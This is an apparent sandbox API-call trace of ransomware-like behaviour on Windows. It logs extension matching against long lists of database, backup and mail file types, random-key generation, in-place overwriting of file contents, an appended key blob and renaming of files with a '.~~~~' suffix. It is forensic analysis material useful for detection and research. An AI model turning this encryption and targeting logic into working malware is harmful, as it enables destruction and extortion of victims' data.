	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".db") returned 0x0
	[0081.602] lstrlenW (lpString=".TXT") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".TXT") returned 0x0
	[0081.602] lstrlenW (lpString=".MDF") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".MDF") returned 0x0
	[0081.602] lstrlenW (lpString=".bdb") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".bdb") returned 0x0
	[0081.602] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.603] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.603] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.603] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.604] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20159374705) returned 1
	[0081.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a7dd590, dwHighDateTime=0x1d60e1e)) 
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809c30
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809c30 | out: hHeap=0x300000) returned 1
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398de0
	[0081.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398de0 | out: hHeap=0x300000) returned 1
	[0081.604] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.604] GetLastError () returned 0x0
	[0081.604] GetLastError () returned 0x0
	[0081.605] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.605] GetLastError () returned 0x0
	[0081.605] GetLastError () returned 0x0
	[0081.606] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.610] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.610] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.612] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.612] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.615] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.615] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.615] CloseHandle (hObject=0x134) returned 1
	[0081.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.~~~~")) returned 1
	[0081.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398de0 | out: hHeap=0x300000) returned 1
	[0081.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.616] GetLastError () returned 0x0
	[0081.616] RtlWakeConditionVariable () returned 0x365f70
	[0081.616] GetCurrentThreadId () returned 0x9cc
	[0081.616] GetCurrentThreadId () returned 0x9cc
	[0081.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0081.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0081.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe478 | out: hHeap=0x300000) returned 1
	[0081.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.617] lstrlenW (lpString=".scr") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".scr") returned 0x0
	[0081.617] lstrlenW (lpString=".cmd") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".cmd") returned 0x0
	[0081.617] lstrlenW (lpString=".dll") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dll") returned 0x0
	[0081.617] lstrlenW (lpString=".bat") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".bat") returned 0x0
	[0081.617] lstrlenW (lpString=".cpl") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".cpl") returned 0x0
	[0081.617] lstrlenW (lpString=".sys") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".sys") returned 0x0
	[0081.617] lstrlenW (lpString=".msc") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".msc") returned 0x0
	[0081.617] lstrlenW (lpString=".com") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".com") returned 0x0
	[0081.617] lstrlenW (lpString=".lnk") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".lnk") returned 0x0
	[0081.617] lstrlenW (lpString=".msp") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".msp") returned 0x0
	[0081.617] lstrlenW (lpString=".pif") returned 4
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".pif") returned 0x0
	[0081.617] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.618] lstrlenW (lpString=".sqb") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".sqb") returned 0x0
	[0081.618] lstrlenW (lpString=".ost") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".ost") returned 0x0
	[0081.618] lstrlenW (lpString=".txt") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".txt") returned 0x0
	[0081.618] lstrlenW (lpString=".mdt") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".mdt") returned 0x0
	[0081.618] lstrlenW (lpString=".BDB") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".BDB") returned 0x0
	[0081.618] lstrlenW (lpString=".eql") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".eql") returned 0x0
	[0081.618] lstrlenW (lpString=".DBF") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DBF") returned 0x0
	[0081.618] lstrlenW (lpString=".EQL") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".EQL") returned 0x0
	[0081.618] lstrlenW (lpString=".FDB") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".FDB") returned 0x0
	[0081.618] lstrlenW (lpString=".EDB") returned 4
	[0081.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".EDB") returned 0x0
	[0081.619] lstrlenW (lpString=".DACPAC") returned 7
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.619] lstrlenW (lpString=".VHD") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".VHD") returned 0x0
	[0081.619] lstrlenW (lpString=".DBV") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DBV") returned 0x0
	[0081.619] lstrlenW (lpString=".dacpac") returned 7
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dacpac") returned 0x0
	[0081.619] lstrlenW (lpString=".sdf") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".sdf") returned 0x0
	[0081.619] lstrlenW (lpString=".accdb") returned 6
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".accdb") returned 0x0
	[0081.619] lstrlenW (lpString=".DBX") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DBX") returned 0x0
	[0081.619] lstrlenW (lpString=".MDT") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".MDT") returned 0x0
	[0081.619] lstrlenW (lpString=".SQB") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".SQB") returned 0x0
	[0081.619] lstrlenW (lpString=".vhd") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".vhd") returned 0x0
	[0081.619] lstrlenW (lpString=".bac") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".bac") returned 0x0
	[0081.619] lstrlenW (lpString=".mdf") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".mdf") returned 0x0
	[0081.619] lstrlenW (lpString=".BAK") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".BAK") returned 0x0
	[0081.619] lstrlenW (lpString=".BAC") returned 4
	[0081.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".BAC") returned 0x0
	[0081.620] lstrlenW (lpString=".dbs") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dbs") returned 0x0
	[0081.620] lstrlenW (lpString=".vhdx") returned 5
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".vhdx") returned 0x0
	[0081.620] lstrlenW (lpString=".NDF") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".NDF") returned 0x0
	[0081.620] lstrlenW (lpString=".dat") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dat") returned 0x0
	[0081.620] lstrlenW (lpString=".DBS") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DBS") returned 0x0
	[0081.620] lstrlenW (lpString=".CKP") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".CKP") returned 0x0
	[0081.620] lstrlenW (lpString=".edb") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".edb") returned 0x0
	[0081.620] lstrlenW (lpString=".PST") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".PST") returned 0x0
	[0081.620] lstrlenW (lpString=".dbf") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dbf") returned 0x0
	[0081.620] lstrlenW (lpString=".SQL") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".SQL") returned 0x0
	[0081.620] lstrlenW (lpString=".pst") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".pst") returned 0x0
	[0081.620] lstrlenW (lpString=".dbv") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dbv") returned 0x0
	[0081.620] lstrlenW (lpString=".SDF") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".SDF") returned 0x0
	[0081.620] lstrlenW (lpString=".dtxs") returned 5
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dtxs") returned 0x0
	[0081.620] lstrlenW (lpString=".db3") returned 4
	[0081.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".db3") returned 0x0
	[0081.621] lstrlenW (lpString=".OST") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".OST") returned 0x0
	[0081.621] lstrlenW (lpString=".dbx") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dbx") returned 0x0
	[0081.621] lstrlenW (lpString=".DB3") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DB3") returned 0x0
	[0081.621] lstrlenW (lpString=".DAT") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DAT") returned 0x0
	[0081.621] lstrlenW (lpString=".VHDX") returned 5
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".VHDX") returned 0x0
	[0081.621] lstrlenW (lpString=".ndf") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".ndf") returned 0x0
	[0081.621] lstrlenW (lpString=".DB") returned 3
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DB") returned 0x0
	[0081.621] lstrlenW (lpString=".sql") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".sql") returned 0x0
	[0081.621] lstrlenW (lpString=".MYD") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".MYD") returned 0x0
	[0081.621] lstrlenW (lpString=".DBT") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DBT") returned 0x0
	[0081.621] lstrlenW (lpString=".ACCDB") returned 6
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.621] lstrlenW (lpString=".fdb") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".fdb") returned 0x0
	[0081.621] lstrlenW (lpString=".bak") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".bak") returned 0x0
	[0081.621] lstrlenW (lpString=".myd") returned 4
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".myd") returned 0x0
	[0081.621] lstrlenW (lpString=".DTXS") returned 5
	[0081.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".DTXS") returned 0x0
	[0081.622] lstrlenW (lpString=".ckp") returned 4
	[0081.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".ckp") returned 0x0
	[0081.622] lstrlenW (lpString=".dbt") returned 4
	[0081.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".dbt") returned 0x0
	[0081.622] lstrlenW (lpString=".db") returned 3
	[0081.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".db") returned 0x0
	[0081.622] lstrlenW (lpString=".TXT") returned 4
	[0081.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".TXT") returned 0x0
	[0081.622] lstrlenW (lpString=".MDF") returned 4
	[0081.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".MDF") returned 0x0
	[0081.622] lstrlenW (lpString=".bdb") returned 4
	[0081.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".bdb") returned 0x0
	[0081.622] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.622] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.623] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.623] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.623] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20161345685) returned 1
	[0081.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a8036f0, dwHighDateTime=0x1d60e1e)) 
	[0081.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe478
	[0081.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe478 | out: hHeap=0x300000) returned 1
	[0081.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0081.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0081.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.624] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.624] GetLastError () returned 0x0
	[0081.624] GetLastError () returned 0x0
	[0081.624] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.625] GetLastError () returned 0x0
	[0081.625] GetLastError () returned 0x0
	[0081.625] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.628] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
